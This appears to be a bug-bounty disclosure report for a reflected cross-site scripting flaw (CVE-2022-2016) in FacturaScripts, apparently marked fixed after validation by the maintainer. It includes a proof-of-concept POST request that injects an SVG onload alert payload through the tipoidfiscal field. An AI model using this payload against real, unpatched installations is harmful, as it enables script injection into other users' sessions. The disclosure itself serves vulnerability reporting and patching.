

Cross-site scripting - Reflected XSS caused by error logs in neorazorx/facturascripts in neorazorx/facturascripts



Valid

Reported on Jun 4th 2022

Description

There are two fields that can insert the XSS payload by the error log.

http://127.0.0.1/facturascripts/EditBalance, the `codbalance` field

http://127.0.0.1/facturascripts/EditSettings, the `tipoidfiscal` field in Fiscal Id

Both fields require 1 and 25 numbers or letters, no spaces, accents or any other character. . So we can not store the payload, but we can trigger a reflected XSS via the error log.

Proof of Concept

```
POST /facturascripts/EditSettings HTTP/1.1
```

```
Host: 127.0.0.1
```

```
...
```

```
-----WebKitFormBoundaryYIfWjQXpEB2jLexN
```

```
Content-Disposition: form-data; name="action"
```

```
edit
```

```
-----WebKitFormBoundaryYIfWjQXpEB2jLexN
```

```
Content-Disposition: form-data; name="activetab"
```

```
EditIdentificadorFiscal
```

```
-----WebKitFormBoundaryYIfWjQXpEB2jLexN
```

```
Content-Disposition: form-data; name="code"
```

```
CI
```

```
-----WebKitFormBoundaryYIfWjQXpEB2jLexN
```

```
Content-Disposition: form-data; name="multireqtoken"
```

```
61893af8ff1671201dcb2ff4d052cf544c4de1e1My0Eut
```

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```
01055a101110712010c0eaf140052c1544c40e1e|Pivotal
-----WebKitFormBoundaryYIfWjQXpEB2jLexN
Content-Disposition: form-data; name="tipoidfiscal"

CI<svg/onload='alert(/xss/);'>
-----WebKitFormBoundaryYIfWjQXpEB2jLexN
Content-Disposition: form-data; name="codeid"

-----WebKitFormBoundaryYIfWjQXpEB2jLexN--
```

Impact

This vulnerability has the potential to deface websites, result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device.

CVE

CVE-2022-2016

(Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Reflected

Severity

Medium (6.8)

Registry

Other

Affected Version

<=8.9.6

Visibility

Public

Status

Fixed

Found by



i0hex

@iohehe

legend ▼

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This report was seen 485 times.

We are processing your report and will contact the **neorazorx/facturascripts** team within 24 hours. 6 months ago

i0hex modified the report 6 months ago

i0hex modified the report 6 months ago

We have contacted a member of the **neorazorx/facturascripts** team and are waiting to hear back 6 months ago

i0hex modified the report 6 months ago

Carlos Garcia validated this vulnerability 6 months ago

i0hex has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Carlos Garcia marked this as fixed in 2022.1 with commit 7b4ddb 6 months ago

The fix bounty has been dropped ✕

This vulnerability will not receive a CVE ✕

i0hex 6 months ago

Researcher

@admin Can you assign CVE?

Jamie Slome 6 months ago

Admin

Sorted 👍

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